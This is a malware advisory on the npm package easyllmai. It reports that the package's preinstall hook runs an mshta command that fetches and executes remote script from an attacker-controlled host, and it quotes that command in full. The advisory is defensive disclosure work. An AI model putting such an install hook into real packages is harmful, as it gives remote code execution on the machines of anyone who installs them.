MAL-2026-5895 Malicious code in easyllmai (npm)

On npm install, the package's preinstall lifecycle hook ("preinstall": "node preinstall.js") unconditionally runs exec('cmd /c "mshta http://fixars.top"'). On Windows, mshta is a living-off-the-land binary that fetches and executes arbitrary HTML Application / JScript / VBScript content from the supplied URL with the invoking user's privileges. The destination is plain HTTP, attacker-controlled, and the delivered payload is opaque remote code with no signature, hash, or version pinning — giving the publisher full remote code execution on any Windows machine that runs npm install. Package metadata is also a throwaway shape (empty description, empty author, no repository, no keywords) and the name easyllmai is consistent with a typosquat lure against legitimate LLM-client packages.